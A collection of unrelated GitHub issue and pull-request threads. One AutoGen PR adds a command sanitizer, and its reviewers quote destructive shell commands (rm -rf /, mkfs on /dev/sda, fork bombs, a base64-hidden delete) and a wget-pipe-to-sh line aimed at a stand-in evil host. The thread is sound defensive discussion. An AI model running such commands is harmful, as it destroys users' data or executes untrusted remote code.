[ ] The PR conforms to DataHub's Contributing Guideline (particularly Commit Message Format)
[ ] Links to related issues (if applicable)- https://linear.app/acryl-data/issue/PRD-742/settings-tab-should-have-2-scrollable-sections
[ ] Tests for the changes have been added/updated (if applicable)
[ ] Docs related to the changes have been added/updated (if applicable). If a new feature has been added a Usage Guide has been added for the same.
[ ] For any breaking change/potential downtime/deprecation/big changes an entry has been made in Updating DataHub

I have remove px and add vh according to resolution. This is temporary solution but we have to take each component and resolve structural changes in new tickets

@Salman-Apptware vh is not the correct approach here. You should not need to do any height calculations at all. This should be handled dynamically by flexbox.

closing this PR and created new one with flex box


Command line code sanitation

This update is a security enhancement for LocalCommandlineCodeExecutor to mitigate the risk of executing potentially harmful commands that could lead to unintended consequences such as data loss or system compromise. This utility aims to enhance security by preventing commands like rm -rf /, direct writes to /dev/sda, and execution of fork bombs (to name a few). Context of a discussion in PR: https://github.com/microsoft/autogen/pull/1405#pullrequestreview-1860363994.
Updates and Changes

Added the CommandSanitizer utility class to code_utils.py, designed to inspect code blocks for patterns associated with dangerous commands before execution.
Updated LocalCommandlineCodeExecutor to include the use of CommandSanitizer
Added tests for CommandSanitizer to validate the effectiveness of the sanitation process.
Renamed test/test_code.py to test/test_code_utils.py

Why are these changes needed?

needed as we cant trust that an agent won't generate dangerous commands (which is probably a higher risk when using open source LLMs)
if someone was to opt to not user docker, these command could affect the user's machine
Relevant to https://github.com/microsoft/autogen/issues/1421

Related issue number
https://github.com/microsoft/autogen/pull/1405#pullrequestreview-1860363994

Checks

[ ] I've included any doc changes needed for https://microsoft.github.io/autogen/. See https://microsoft.github.io/autogen/docs/Contribute#documentation to build and test documentation locally.
[X] I've added tests (if relevant) corresponding to the changes introduced in this PR.
[X] I've made sure all auto checks have passed.

Codecov Report
Attention: 6 lines in your changes are missing coverage. Please review.

Comparison is base (e83de5d) 37.70% compared to head (9f1ae57) 11.61%.

Files
Patch %
Lines

autogen/code_utils.py
50.00%
4 Missing :warning:

autogen/coding/local_commandline_code_executor.py
0.00%
2 Missing :warning:

Additional details and impacted files
@@             Coverage Diff             @@
##             main    #1627       +/-   ##
===========================================
- Coverage   37.70%   11.61%   -26.10%
===========================================
  Files          50       50
  Lines        5683     5682        -1
  Branches     1289     1264       -25
===========================================
- Hits         2143      660     -1483
- Misses       3372     5019     +1647
+ Partials      168        3      -165

Flag
Coverage Δ

unittests
11.61% <40.00%> (-26.10%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Sorry to be contrarian, but I worry this will give people a false sense of security.
There are far too many regular patterns to block: E.g.,
find  / -type f -delete
mkfs.ext3 /dev/sda
...
or even just
wget http://my_evil_script.com -O - | sh
Any protection we provide I think should be (1) via sanboxing, and (2) access control

Sorry to be contrarian, but I worry this will give people a false sense of security.
There are far too many regular patterns to block: E.g.,
find / -type f -delete base64 --decode <<< "cm0gLVJmIC8=" or even just wget http://my_evil_script.com -O - | sh
Any protection we provide I think should be (1) via sanboxing, and (2) access control
Really, Docker is the best bet.

Yeah thats fair, this is just a starting point really - i know there could be an infinite number of commands that could blow up in someones face. But unless we have it as a hard requirement that someone has to use docker then i think that something like this (at least for the most common commands) is necessary.

Well, we already have Docker as a default and require active actions to deactivate it (which should only be done if running in another type of sandboxed environment like codespaces, or a VM or something).

 Tests need to be fixed.

It looks good. Tests need to be fixed.

Will work on fixing these tomorrow

@BeibinLi do you have any comment from your experience of building a safeguard agent?


TFLite Podspecs haven't been updated after v2.14

Issue type
Bug
Have you reproduced the bug with TensorFlow Nightly?
No
Source
binary
TensorFlow version
2.16.2
Custom code
No
OS platform and distribution
iOS
Mobile device
No response
Python version
No response
Bazel version
No response
GCC/compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current behavior?
TensorflowLiteC podspec still uses the 2.14 binary and hasn't been updated since v2.14. It's necessary to be able to integrate the latest versions with the C API for iOS.
Standalone code to reproduce the issue
N/A

Relevant log output
No response

This issue originally reported by @guillaume-tgl has been moved to this dedicated repository for LiteRT to enhance issue tracking and prioritization. To ensure continuity, we have created this new issue on your behalf.
We appreciate your understanding and look forward to your continued involvement.


New term request: deaminated glutathione amidase activity

Hi,
I would like to have this new term created.
The definition is:
N-(4-oxoglutarate)-L-cysteinylglycine + H(2)O = 2-oxoglutarate + L-cysteinylglycine
Glossary: N-(4-oxoglutarate)-L-cysteinylglycine = deaminated glutathione
The activity has been submitted to the IUBMB, where it has received the internal working number EC 3.5.1.ag.
Relevant for NIT1 (e.g. Q8VDK1)
Ref: 28373563
The enzyme is involved in what the authors dubbed: Metabolite repair.
Definition: A "repair" process that destroys or reconverts useless and potentially harmful compounds -  formed by the promiscuous activity of some abundant enzymes of primary metabolism - into a useful metabolite.
The relevance is NIT1 but also wider since the NIT1 activity is certainly not the only example of such activity.
Cheers,
Kristian

Should be a child of "cellular detoxification".  A number of the existing terms under here would fit this definition if a grouping term is created for "metabolite repair".

I've added the MF term as GO:0110050.
Will work on the accompanying BP branch to see what can/should be grouped under 'metabolite repair'.

This is an interesting area. I'm looking at the fission yeast  "unknowns" wrt a review we are writing and I have a gut feeling that a lot of the unknown catalytic are in this area (makes sense as these processes are less studied than  biosynthesis....).Many of those those orphan enzymes  are likely to be doing something like this....

Here is a proposal for adding 'metabolite repair' as a grouping term under 'cellular detoxification'.
I agree, @ValWood , that this is an interesting area and one that is probably under-annotated (see https://www.ncbi.nlm.nih.gov/pubmed/23334546).  Given the list of metabolites and detoxification/repair enzymes in Table 1 of that paper, I think a more general grouping term is justified and then we could add more specific child terms as they are needed.
GO:1990748 cellular detoxification
-GO:new metabolite repair
--GO:0140041 cellular detoxification of methylglyoxal
---GO:0106045 guanine deglycation, methylglyoxal removal
I modified the initial, suggested term definition a bit to account for the fact that not all deleterious metabolites are produced by enzymatic reactions.  @kaxelsen , please let me know if this still look okay to you:
GO:new metabolite repair
A cellular process that, through single- or multi-step enzymatic reactions, repairs useless and potentially harmful endogenous compounds, formed as by-products of primary metabolism, by converting them into useful metabolites.
PMID: 23334546, PMID:28373563, GOC:ka
Do you think any of the other existing child terms of 'cellular detoxification' should be moved to be children of 'metabolite repair'?
Thx for the input and suggestions on this term!

Nice!
I'll have a quick scan of the cellular detoxification terms.
Do you think
protein repair   http://www.ebi.ac.uk/QuickGO/term/GO:0030091
should also be is_a  GO:1990748 cellular detoxification ?

That's a good question, and actually now has me wondering if we need to make a clearer distinction in the ontology between dealing with 'useless' compounds vs 'toxic' compounds, if that distinction can even always be made.
If a compound is just useless, is it's elimination detoxification?
Maybe the methylglyoxal terms should really have both parents, i.e. cellular detoxification and metabolite repair?

In other words, cellular detoxification and metabolite repair would not have a parent-child relation.

Hmm, yes you are right. metabolite repair might only be useless not toxic
Could we have
metabolite repair
--toxic metabolite repair
cellular detoxification
--toxic metabolite repair
( and put the things we know are toxic under here, otherwise things are likely to get annotated in one branch or the other)
I had assumed protein repair to be toxic because the instances I have annotated are, but this may not always be the case either?

I don't think its catabolic (is a bit like the salvage pathways are not biosynthesis) , probably just 'cellular metabolic process' ?

Okay, here's a suggested new organization and definitions:
GO:0044237 cellular metabolic process
-GO:new metabolite repair
—GO:new toxic metabolite repair
GO:1990748 cellular detoxification
—GO:new toxic metabolite repair
Definitions:
GO:new
Name: metabolite repair
Definition:  A cellular process that, through single- or multi-step enzymatic reactions, repairs useless or toxic endogenous compounds, formed as by-products of primary metabolism, by converting them into useful metabolites.
PMID:23334546, PMID:28373563, GOC:ka
GO:new
Name: toxic metabolite repair
Definition:  A cellular process that, through single- or multi-step enzymatic reactions, repairs toxic endogenous compounds, formed as by-products of primary metabolism, by converting them into useful metabolites.
PMID:23334546, GOC:ka, GOC:vw
@kaxelsen if this all looks okay to you, I will add it to the BP branch.  Thx.

I think it looks fine. Thank you for your work on this.

Added BP terms and closing.


[octavia-ingress-controller] Update listener timeouts

What this PR does / why we need it:
This commit makes sure that listener timeouts are updated when their values are changed on the Ingress resource annotations.
cc @sakshi-1505
Which issue this PR fixes(if applicable):
fixes #2243
Special notes for reviewers:

Release note:
NONE

This extends #2435 a bit.

@pierreprinetti and @jichenjc, you might want to take a look.

/approve


Different model parameters initialized in each GPU worker

Hi,
Following the instructions for both 'Unsupervised Training' and 'Linear Classification', I find different model parameters are initialized in each GPU worker. Because random seed is not set inside main_worker function.
For pytorch DistributedDataParallel, do you think initializing the same set of model parameters across all GPU workers could give more accurate gradient and better performance?
Thanks!

DistributedDataParallel already makes sure parameters across all GPUs are initialized to the same.

Thanks, you are right.


Web: Make AttrBuilderContext @Composable

Fixes https://github.com/JetBrains/compose-jb/issues/2304
Draft because I get an error running the tests locally:
Execution failed for task ':web-core:allTests'.
> Failed to execute all tests:
  :web-core:jsBrowserTest: java.lang.IllegalStateException: command '/Users/philipwedemann/.gradle/nodejs/node-v16.13.1-darwin-arm64/bin/node' exited with errors (exit code: 1)

Some tests failed because of 10 seconds timeout.
So I tried to play with it in Sample.kt (web-integration-core module, fun main).
It seems that, for some reason attrs block doesn't recompose:
renderComposableInBody {
        var flip by remember { mutableStateOf(false) }

        Div(attrs = {
            id(if (flip) "red" else "green")
            style {
                backgroundColor(if (flip) Color.red else Color.green)
            }
        }) {
            Text("TEST, flip = $flip")
        }

        Button(
            attrs = {
                onClick { flip = !flip }
            }
        ) { Text("Flip") }
    }
    ```
    The text in Div changes when button is clicked, but the id and backgroundColor doesn't change.

    No clues for now, why it behaves like this.

Thanks for looking into it.
Maybe this is the cause for the unsupported @Composable AttrsScope? :D
I am okay with keeping the current behavior.


Style selector doesn't render on Brave browser

Please see attached screenshot.

When I disable the browser recognition blocking, it works again.

Browser: Brave 0.61.52 Chromium: 73.0.3683.86 (official build) (64-bits)
OS: macOS Mojave 10.14.1 (18B75)

Hello @dokterbob Please move this issue in Document Server repo.

@Carazyda I don't have access to this feature, but AFAIK GH now has the ability to move issues directly. It should be to the right of the issue, somewhere above Notifications.
BTW I hope you understand I'm filing these reports because I want to make a great thing better. I'm a very happy user. :)


(#884) Use unicode mapping cmap when simple identity cmap was originally used

(part of the solution for #884)

@pdfjsbot test

@pdfjsbot makeref

Please merge if makeref passes


remove regular expression substitution in _instance_name

Enhancement Proposal
When returning the _instance_name, we currently do a regex substitution to only keep ASCII character in label values.
However, according to the docs we link to, it explicitly mentions that label values can be unicode character.

Heya, for addtl context I believe this was introduced here  in the course of fixing #60

Yep, probably a confusion on my part. To summarize the doc:

Metric name: [a-zA-Z_:][a-zA-Z0-9_:]*
Label name (key): [a-zA-Z_][a-zA-Z0-9_]*
Label value: may contain any Unicode characters


Auto-code generation for Subgraphs

https://www.notion.so/messari/Subgraphs-Shared-Library-and-Tooling-9c2138c6ed774f4eb8d42033b7436e00

Closing this since it was completed for bridges


Extend Default Log Lines and Add Verbose Option for kamal deploy

Description:
The kamal deploy command currently caps the logs at 50 lines by default. For many deployments or intricate error scenarios, this limited view can be insufficient to diagnose issues. It would be beneficial to extend the default log lines and also provide a "verbose" flag for detailed logging.
Proposed Solution:

Change the default number of log lines to 200 for kamal deploy.
Introduce an optional flag to specify the number of log lines:

--log-lines=<number> or a shorter version -l <number>

Add a "verbose" option with the flag -v to show detailed logs.

Example:

To view the last 150 lines of logs:
kamal deploy --log-lines=150

OR
kamal deploy -l 150

For verbose logging:
kamal deploy -v

Rationale:

Provide a more comprehensive default view for better diagnosis right off the bat.
The "verbose" option can give users an in-depth look when needed, enhancing troubleshooting capabilities.
Align with conventions and best practices in the industry, where -v often denotes verbose output.

Additional Context:
The increased default of 200 lines and the verbose option would enhance the tool's flexibility and effectiveness, especially in complex deployment scenarios.
https://gist.github.com/jmarsh24/fc92b7740279e4e0cf7d3faa64dda1aa
This is an example where the health check failed and swallowed the error that an environment variable was missing. After manually increasing the log_lines I was able to see what the error was to address it.
 ERROR [1] Puma starting in cluster mode...
[1] * Puma version: 6.4.0 (ruby 3.2.2-p53) ("The Eagle of Durango")
[1] *  Min threads: 5
[1] *  Max threads: 5
[1] *  Environment: production
[1] *   Master PID: 1
[1] *      Workers: 1
[1] *     Restarts: (✔) hot (✖) phased
[1] * Preloading application
W, [2023-10-17T21:25:54.016952 #1]  WARN -- : DEPRECATION WARNING: Card options parameter is deprecated in favor of arguments parameter and will be removed from Avo version 3.0.0
W, [2023-10-17T21:25:54.017296 #1]  WARN -- : DEPRECATION WARNING: Card options parameter is deprecated in favor of arguments parameter and will be removed from Avo version 3.0.0
W, [2023-10-17T21:25:54.017337 #1]  WARN -- : DEPRECATION WARNING: Card options parameter is deprecated in favor of arguments parameter and will be removed from Avo version 3.0.0
W, [2023-10-17T21:25:54.017369 #1]  WARN -- : DEPRECATION WARNING: Card options parameter is deprecated in favor of arguments parameter and will be removed from Avo version 3.0.0
W, [2023-10-17T21:25:54.017396 #1]  WARN -- : DEPRECATION WARNING: Card options parameter is deprecated in favor of arguments parameter and will be removed from Avo version 3.0.0
[1] ! Unable to load application: Shimmer::Config::MissingConfigError: BASE_URI environment value is missing
bundler: failed to load command: puma (/usr/local/bundle/ruby/3.2.0/bin/puma)
/usr/local/bundle/ruby/3.2.0/gems/shimmer-0.0.31/lib/shimmer/utils/config.rb:22:in `method_missing': BASE_URI environment value is missing (Shimmer::Config::MissingConfigError)

I'm in the same situation, unable to debug my deployment
How did you increase the log lines?

Showing the last N lines might be even more helpful (considering given example).

Thanks @jmarsh24  Agreed :) Having the same problem, how did you manage to increase the log_lines manually ?

This is configurable since https://github.com/basecamp/kamal/pull/444


Pointer<Utf8> and Pointer<Utf16> should be allocatable

If I have a string which I know fits in exactly n UTF-8 code units, I should be able to do allocator<Utf8>(n). This is currently not possible and requires doing allocator<Uint8>(n).cast<Utf8>().

I believe this only makes sense for non-zero-terminated strings, where the length in bytes is known in advance.

https://github.com/dart-lang/ffi/issues/224

So maybe the ZeroTerminatedUtf8 should extend Opaque while NonZeroTerminatedUtf8 should be extends Struct with a single Uint8 field. (Names TBD.)

ZeroTerminatedUtf8 could extend Utf8, as it's a special kind of Utf8 pointer, and Utf8 would continue to extend NativeType. The extension methods would be:

String Pointer<ZeroTerminatedUtf8>.toDartString() (this is unsafe if the zero is missing!)
String Pointer<Utf8>.toDartString(length)
(Pointer<Utf8>, int) String.toUtf8(Allocator, bool zeroTerminate)


Can't export a property from a namespace

TypeScript Version:  3.5.3

Search Terms: export property from namespace
Code
namespace X {
	export const foo: string = '';
}

export { X.foo as foo };

Expected behavior:
Allows the export
Actual behavior:
Produces an error
Playground Link:
https://www.typescriptlang.org/play/#code/HYQwtgpgzgDiDGEAEANJBvAUASAgDxgHsAnAFyXkOCnIDNDCAuJG4gS2AHMkBeJAcn4BuTAF9MmfETIZUAOnqEkIKEkVJRQoA

Dotted names are not allowed in this position, only identifiers. Refer to the ES spec:
https://www.ecma-international.org/ecma-262/10.0/index.html#prod-ExportDeclaration

Thanks!


[cherry-pick] add more args for column family

Cherry pick https://github.com/pingcap/tikv/pull/2599 to release 1.0.

/run-all-tests

/run-integration-tests tidb=release-1.0 pd=release-1.0 tidb-test=release-1.0

LGTM

LGTM


Add files via upload

Checks

[ ] Your YAML file has required fields as listed in Specs
[ ] All checks have passed yaml-lint passed
[ ] You agree to contribute your work under MIT license

My partner is M11109216.

I'm Jay's partner.

Here is update of recon-ng regarding my team domain Citi.com!


[BUG] refine-react-router-v6 does not apply options.route correctly

Describe the bug
Given a configuration with two resources:
                resources={[
                    {
                        name: 'users',
                        list: UserList
                    },
                    {
                        name: 'users',
                        list: LegacyUserList,
                        options: {
                            dataProviderName: 'users-legacy'
                            route: 'users-legacy',
                            label: 'Users (Legacy)'
                        },
                    }]

While both routes are available in the sense that they do not return 404 errors, the routing differs between versions.
With refine-react-router:

/users renders UserList
/users-legacy renders LegacyUserList

With refine-react-router-v6:

/users renders UserList
/users-legacy renders UserList

Also, refine-react-router-v6 doesn't use the correct data provider, the rendering is exactly the same for /users and /users-legacy.
Expected behavior
v6 should render the same as v5.

Hey @rassie ,
Thank you for contacting us! Now I created a CodeSandbox but I couldn't reproduce the situation you said. Is there a place I missed?
https://codesandbox.io/s/goy1dh

That's interesting, the problem is persistent locally. I'll try to figure out what's the difference. Thanks for testing, I'll re-open the issue if I find a culprit.

That's one of the things I'll have to check first, yes :)

Found it, the order of resources is important. See https://codesandbox.io/s/refine-base-example-forked-l5uxt7.

Hey @rassie ,
Thank you! We've released<EMAIL_ADDRESS>Could you approve this fix?


Make 'kivy.graphics.instruction.Callback' available from within KvLanguage

Currently kivy.graphics.instruction.Callback is not available in KvLanguage. This PL allows you to do like this:
from kivy.lang import Builder
from kivy.app import runTouchApp

root = Builder.load_string(r'''
FloatLayout:
    canvas:
        Callback:
            func: lambda __: print('test')
''')

runTouchApp(root)

Since I'm not familiar with cython, the code might be not  efficient. :sweat_smile:
#2636

hey, that does look neat, though it would be better if it could be used like events in widgets, (i.e, avoid the lambda, just put the code directly).

That sounds good. I'll try that but yeah kivy/lang/*.py looks complex. It'll take long time.

I re-created this PR. #5876
sorry I'm still bad at git command.


Update Package To Use New autocomplete-plus API

Please:

Don't depend on autocomplete-plus in your package.json
Switch to using an editor instead of an editorView during registration
Don't use ProviderPackageFactory - it's redundant / nonexistent

Updated example: https://github.com/atom-community/autocomplete-plus/wiki/Tutorial:-Registering-and-creating-a-suggestion-provider

Further to above, please switch to the new API: https://github.com/atom-community/autocomplete-plus/wiki/Provider-API

The old API will be removed on Tuesday, February 10th, 2015. Please update to the new API by that time, or let me know if you have issues with the timeline.

@edubkendo Production version of this package is broken. Could this be looked at, please?

:+1:


Refactor date input selection by keyboard

Relates to #250, #284, #285; discussion started on #310
This started as a refactor of how date changes propagate out of the date input, namely how the date was cleared when an invalid input was entered.  The goal was to make onClear be the equivalent of onChange(null).  As the dominoes fell, it turned out it no longer made sense for isTypeable to exist either.  From what I can tell this was introduced to let the user continue to type after their text would be wiped out from the date clearing on an invalid input... yeah, confusing.  I think this succeeds at simplifying both the implementation and the API, and I hope my test cases illustrate my points here.
The new date input behavior on change is:

Valid date entered -> setSelected(moment)
Empty string entered -> setSelected(null)
Invalid date entered -> do nothing

Current coverage is 91.32%

Merging #313 into master will decrease coverage by -3.17% as of 262ef33

@@            master    #313   diff @@
======================================
  Files            9       9
  Stmts          218     219     +1
  Branches        47      47
  Methods        106     105     -1
======================================
- Hit            206     200     -6
- Partial          3       6     +3
- Missed           9      13     +4

Review entire Coverage Diff as of 262ef33

Uncovered Suggestions

+1.37% via src/datepicker.jsx#86...88
+0.91% via src/datepicker.jsx#94...95
+0.91% via src/calendar.jsx#95...96
See 6 more...

Powered by Codecov. Updated on successful CI builds.

@aspirisen, heads up that these changes are going in


Auto create database for graphite if not specified

The graphite endpoint will now auto create a database called graphite if no database is specified in the config.
If the system is set to auto create default retention policies (which it should if you aren't going to specify a database), then the retention policy of default for an INF duration is also created.
Additional refactoring in this PR:

Added a SetLogOutput to the graphite servers.
Log if write's fail

This PR is waiting on PR #1929 to be merged as it fixes a bug that prevents this feature from working.
Fixes #1745

Looks good.


Can't find 4.0.0

-> PagerTabStripView (3.2.0)
PagerTabStripView allows navigating through pages using a custom navigation bar in SwiftUI.
pod 'PagerTabStripView', '~> 3.2.0'

Homepage: https://github.com/xmartlabs/PagerTabStripView
Source:   https://github.com/xmartlabs/PagerTabStripView.git
Versions: 3.2.0, 3.1.1, 3.1.0, 3.0.0, 2.1.0, 2.0.0, 1.0.1, 1.0.0 [cocoapods repo]

pod --version
1.11.3
Can't find 4.0.0

-> PagerTabStripView (3.2.0) PagerTabStripView allows navigating through pages using a custom navigation bar in SwiftUI. pod 'PagerTabStripView', '~> 3.2.0'

Homepage: https://github.com/xmartlabs/PagerTabStripView
Source:   https://github.com/xmartlabs/PagerTabStripView.git
Versions: 3.2.0, 3.1.1, 3.1.0, 3.0.0, 2.1.0, 2.0.0, 1.0.1, 1.0.0 [cocoapods repo]

pod --version 1.11.3
Can't find 4.0.0

Me too

Hi! the last version released in Cocoapods is 3.2.0, we're still working on some improvements for version 4.0.0 and it's coming soon 🚀
Anyway, you can install it by cloning the last commit for the repo.


@Import util's with relative path

Import util's with a relative path so foundation-sites scss can be used without depending on sass include_paths.
This is needed to use foundation-sites with angular-cli at the moment because include_paths can't be set using angular-cli's webpack setup

I don't think this is a good idea. Changing the framework to workaround possibly temporary missing features in angular-cli.
To be honest I think angular-cli is a very bad tool that restricts developers very hard. Just stop using angular-cli and everything is fine. You'll see the world gets a lot bigger without.

@DaSchTour I do agree with you though, but foundation then needs to work with include paths to work, otherwise it will fail.
I can just use my fork, but thought it would be nice for others in the same boat that it could be used with angular-cli. I'm fine with both, and yeah you are right, ill close this issue, then other who has the same issue will be able to find the solution for it :)


Ambiguity in get function

The following definitions are ambiguous
 get(inifile::IniFile.Inifile, section::AbstractString, key::AbstractString)
 get(inifile::IniFile.Inifile, key::AbstractString, notfound)

if the default value notfound is of type AbstractString

But is it ever? Does it produce ambiguity warnings?

No, of course not always. Actually this produced a very subtle bug when changing
get(inifile, key, 1.0) to get(inifile, key, "1.0")
API-wise its not clear to me why
get(inifile::IniFile.Inifile, key::AbstractString, notfound)
should be accessible for any type but a String.
So this bug was meant to report this API issue.


Roll engine 4ee648914f91..6381bea25a5e (5 commits)

https://github.com/flutter/engine/compare/4ee648914f91...6381bea25a5e
git log 4ee648914f91..6381bea25a5e --date=short --no-merges --format='%%ad %%ae %%s'
2018-08-16<EMAIL_ADDRESS>Roll src/third_party/skia e21f0ec04e98..bc414ed5dec5 (2 commits) (flutter/engine#6037)
2018-08-16<EMAIL_ADDRESS>Fix potential null pointer dereference in FlutterDartProject (flutter/engine#6035)
2018-08-16<EMAIL_ADDRESS>Roll src/third_party/skia 8d77d1d85e2f..e21f0ec04e98 (5 commits) (flutter/engine#6036)
2018-08-16<EMAIL_ADDRESS>Roll src/third_party/skia cbb7d572aaa1..8d77d1d85e2f (12 commits) (flutter/engine#6034)
2018-08-16<EMAIL_ADDRESS>Roll src/third_party/skia cbd83bbd77d1..cbb7d572aaa1 (5 commits) (flutter/engine#6033)
The AutoRoll server is located here: https://flutter-engine-flutter-roll.skia.org
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md
If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

Trybots failed. These were the failed builds: https://flutter-dashboard.appspot.com/build.html

Commit queue failed; closing this roll.


Unable to retrieve user's mysite URL

Category

[x] Question
[ ] Documentation issue
[ ] Bug

I am getting 429 with response "Unable to retrieve user's mysite URL" most of the time when i am making a delta call to user onedrive. But sometimes same call get 200. The question is what is the meaning this message? and why its coming with 429? is there anything i need to do to fix this?
Thank you.
[ ]: http://aka.ms/onedrive-api-issues
[x]: http://aka.ms/onedrive-api-issues

@shayan-brcm This is an unusal error, could you please provide RequestID and Timestamp(UTC) for this 429 response


Correct answers and points

Following #423 , introduce a model that indicates a "correct" answer to a question when the Campaign is used as a quiz (we are only interested in questions with an default_unit of type SYSTEM_ENUMERATED at this point).
Then modify the "complete" API endpoint (survey_api_sample_freeze_index / djaopsp.api.samples.AssessmentCompleteIndexAPIView) to calculate a score based on the answers in the sample and correct answers as defined in the database. Instead of having, say 1 point per correct answer, specify the number of points in the CorrectAnswer model.

Currently being worked on as part of PR #433


Add .env.default

I think that we should split .env into two files: .env.default which is always loaded and .env that acts as user-defined overrides, loaded afterwards. Because right now when someone adds new .env.example property everyone misses that change and encounters strange errors

that will require patching all load_dotenv into a sequence of such, I can implement it when I have time iff owners agree


Indexes not created when embedding a document using mixed document types

According to the user manual when I specify the indexes on a embedded document it will be created when persisting the main document.
It is not happening when the embedded document type varies.
To reproduce
Main Document Entity
/**
 * @ODM\Document
 */
class Document
{
    /**
     * @var string Id
     * @ODM\Id
     */
    private $id;

    /**
     * @ODM\EmbedOne(discriminatorField="type")
     */
    private $embedded;

    // setters and getters
}

First embedded type
/**
 * @ODM\EmbeddedDocument
 */
class Embedded1
{
    /**
     * @ODM\Date
     * @ODM\Index
     */
    private $timestamp;

    // setters and getters
}

test code
$document = new Document();
$embedded = new Embedded1();
$embedded->setTimestamp(new \DateTime());
$document->setEmbedded($embedded);

$dm->persist($document);
$dm->flush();
$sm = $dm->getSchemaManager();
$sm->ensureIndexes();

When using find the document and the embedded data has been saved but the getIndexes does not show anything other than the _id.
If I update the annotation to mention targetDocument the index gets created normally.

@bicatu if you want indexes for embedded documents to be created you have to provide targetDocument or discriminatorMap or otherwise ODM doesn't know what can be embedded and what indexes will not be created. Feel free to reopen if something is unclear :)

Hi @malarzm it is clear even though I do not agree per se.  The field type tell it what class to use for the embedded document and in the class I do have the indexes.   Hence in my opinion there is a way of achieving the same functionality as when we have when we statically map the document.
May I suggest that if this is not a feature request at least the documentation on the index page is updated to make this limitation clear.

The field type tell it what class to use for the embedded document

@bicatu what field type are you referring to?
    /**
     * @ODM\EmbedOne(discriminatorField="type")
     */
    private $embedded;

When I am persisting the document (with its embedded sub-document) I have the entity and the discriminatorField which contains the class name of that embedded document.
From that name I have the definition, hence the index annotation.  Is this clear?

As far as I am concerned  ODM is not checking in database what embedded documents are used in main documents, only metadata is used for that.

According to the user manual when I specify the indexes on a embedded document it will be created when persisting the main document.

Can you please paste a link to that part of docs?

Hi http://docs.doctrine-project.org/projects/doctrine-mongodb-odm/en/latest/reference/indexes.html is the one that mentions at the section "Embedded Indexes" about the creation of the indexes for embedded documents.
And http://docs.doctrine-project.org/projects/doctrine-mongodb-odm/en/latest/reference/embedded-mapping.html#mixing-document-types for the embedded documents.
So there is no mention that "in order to create the indexes you have to specify the targetDocument or the discrimitatorMap on the Document"

Indeed we should amend the documentation (or would you mind making a PR?). Thank you for the report!

I can make the PR.  Is there any reference on the proper procedure to do so - update the documentation ?

I don't think we have a procedure for that - you just open a PR with needed changes referencing this issue, we review that, maybe ask for amendments and merge afterwards :)

I created a pull request.

See #1143.

#1143 has been merged.


Long casting spells are unable to complete in 3rd person

Spells with long cast times (Call to arms, Harmony, etc.) cannot be cast in 3rd person. The player continues holding the spell even after it has been released, resulting in a softlock. This does not happen in 1st person.

Fixed again in upcoming build which'll be released today at some point.


Card displays with attribute as an array

if attribute is an array like
"nationalities": ["FR", "DE"],
In card details the display must remove the bracket  [
nationalities
"FR", "DE",
see test test 13 OIDC4VCI


TableView enhancements, Pagination and some bug fixes

Resolved: #187
Pagination added to TableListView. Resolved: #196
new props for TableListView component:

pagination - Boolean - Whether to show Pagination control
pageSize - Number - Records per page

Added hints to table view
Block Detail pagination between blocks "out of range" fix

Really like this, should I rebase my PR off of this after it's merged or the inverse?
https://github.com/nemfoundation/nem2-explorer/pull/229


parameter interval in transaction_factory.broadcast function does not work

Hi Carlos Faria,
I like this simulator a lot and is going to use/modify it for my research. I have a question about your implementation of transaction_factory.broadcast after run/read your code (I'm using the config.json in your current github repo):
It seems that the increase of interval parameter (interval in seconds between each batch) doesn't change the simulation results? Isn't it supposed to have less transactions done if I set the interval sufficiently large relative to duration?
Best,

Hi @Jiali-Xing
Thanks for your interest in my work.
Yes, it is supposed to have less transactions inserted in blocks if we increase interval with a smaller duration.
Can you send me the config.json you setup?
I will check this - it's been a long time since I don't touch on this :)

Thanks for replying. I am using the config.json provided in your repo, i.e.
{
  "blockchain": "ethereum",
  "locations": ["Tokyo", "Ohio", "Ireland"],
  "bitcoin": {
    "block_size_limit_mb": 1,
    "number_transactions_per_block": {
      "name": "beta",
      "parameters": "(3.4538110963361333, 4.240939683805738,<PHONE_NUMBER>696233, 2159.387403502942)"
    },
    "orphan_blocks_probability": 0.0174,
    "message_size_kB": {
      "header": 0.024,
      "version": 0.095,
      "verack": 0,
      "inv_vector": 0.036,
      "tx": 0.44,
      "block_base": 0.082
    }
  },
  "ethereum": {
    "block_gas_limit": 2100000,
    "tx_gas_limit": 21000,
    "orphan_blocks_probability": 0.0174,
    "message_size_kB": {
      "status": 0.2,
      "hash_size": 0.042,
      "tx": 0.2,
      "get_headers": 0.054,
      "header": 0.09,
      "block_bodies": 0.045
    }
  }
}

And the output/report.json doesn't change anyhow I increase the interval:
Even when interval is set to be incredibly large, e.g.,  transaction_factory.broadcast(100, 400, 1e10, nodes_list), and we expect less transactions generated/queued, created_transactions (as well as number_of_transactions_queue) are still almost full (full meaning = #batch times #tx_per_batch).
Thanks for looking into it, I have been trying to fix it for a long time but still didn't find any bugs.

Is there any progress w.r.t. the transactions? :smiley:
I have been working on BlockSim for a while now, and really appreciate its great customizability. I feel like the BlockSim is not processing transactions and blocks synchronously. Blocks start to be broadcast after all tx have been broadcast, which seems weird for me. I wonder if it is by design or a bug?

Sorry for the delay on the response, I changed jobs and had some vacations.
It's ok for blocks to be broadcasted without transactions, it is the "heartbeat" of most of PoW blockchain networks. That's simulation design that we choose.
Let me know if it answer your question, or I misunderstood the issue

It seems that the increase of interval parameter (interval in seconds between each batch) doesn't change the simulation results? Isn't it supposed to have less transactions done if I set the interval sufficiently large relative to duration?

With regards this issue, have you figured out some bug or fix, the issue still persist?

It seems that the increase of interval parameter (interval in seconds between each batch) doesn't change the simulation results? Isn't it supposed to have less transactions done if I set the interval sufficiently large relative to duration?
With regards this issue, have you figured out some bug or fix, the issue still persist?

Yes, I think it is a bug in transaction_factory. When we debug it, it turns out that all transactions of all nodes are broadcast at the very beginning of any simulation: the interval parameter is thus void.
We fixed it by modifying the transaction_factory, and we plan to release our code (BlockSim for a permissioned blockchain) later.

@Jiali-Xing I noticed the same issue, it seems like the transaction_validation parameter in the delays.json file does not seem to be used anywhere (used in Consensus.validate_transaction() but this is not called anywhere). Has your code been released?

@m0bi5 I think your observation is correct. We fixed it to some extent and implemented Talaria, a permissioned blockchain simulation based on this repo.


